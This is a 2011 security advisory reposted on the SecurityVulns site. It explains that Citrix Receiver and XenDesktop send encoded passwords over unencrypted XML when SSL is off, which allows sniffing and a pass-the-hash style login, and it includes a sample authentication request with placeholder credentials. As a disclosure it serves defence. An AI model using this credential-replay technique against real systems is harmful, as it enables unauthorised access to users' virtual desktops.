Информационная безопасность
[RU] switch to English


Дополнительная информация

  Cводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  Wordpress the-welcomizer plugin Cross-Site Scripting Vulnerabilities

  0A29-11-3 : Cross-Site Scripting vulnerabilities in Nagios XI < 2011R1.9

  0A29-11-4 : Privilege escalation vulnerabilities in Nagios XI installer < 2011R1.9

  PHP-SCMS 1.6.8 "lang" parameter XSS vulnerability

From:vtek63_(at)_gmail.com <vtek63_(at)_gmail.com>
Date:19 декабря 2011 г.
Subject:Citrix Receiver, XenDesktop "Pass-the-hash" Attack

Tested against: Citrix XenDesktop, XenServer, Receiver 5.6 SP2 (possibly other versions as well)

By default, the authentication between the Citrix Receiver client to the Web interface is not configured to use SSL. If a company elects not to use SSL for this, the XML transaction between the receiver client and the Web Interface server to enum.aspx and launch.aspx contains the username and encoded password of the user.  If an attacker can sniff this authentication traffic, they can use the encoded password to perform a "pass-the-hash" type attack to log in as the user via Citrix Receiver and gain access to the users Virtual Desktop(s).

POST /Citrix/XDPNAgent/enum.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: C:\PROGRA~1\Citrix\ICACLI~1\PNAMain.exe
Host: xxx.xxx.xxx.xxx
Content-Length: 705
Connection: Keep-Alive
Cache-Control: no-cache

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd"><NFuseProtocol version="4.6"><RequestAppData><Scope traverse="onelevel" type="PNFolder">$PRELAUNCH$</Scope><DesiredDetails>permi
ssions</DesiredDetails><DesiredDetails>icon-
info</DesiredDetails><DesiredDetails>all</DesiredDetails><Se
rverType>x</ServerType><ServerType>win32</ServerType><Cli
entType>ica30</ClientType><ClientType>content</ClientType><
Credentials><UserName>domain\myuser</UserName><Password encoding="ctx1">ENCODEDPASSWORDHERE</Password><Domain type="NT"></Domain></Credentials><ClientName>COMPU
TER01</ClientName><ClientAddress>xxx.xxx.xxx.
xxx</ClientAddress></RequestAppData></NFuseProtocol>

More information on how it works:
http://eelsivart.blogspot.com/2011/12/citrix-receiver-xendesktop-pass-hash.html

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород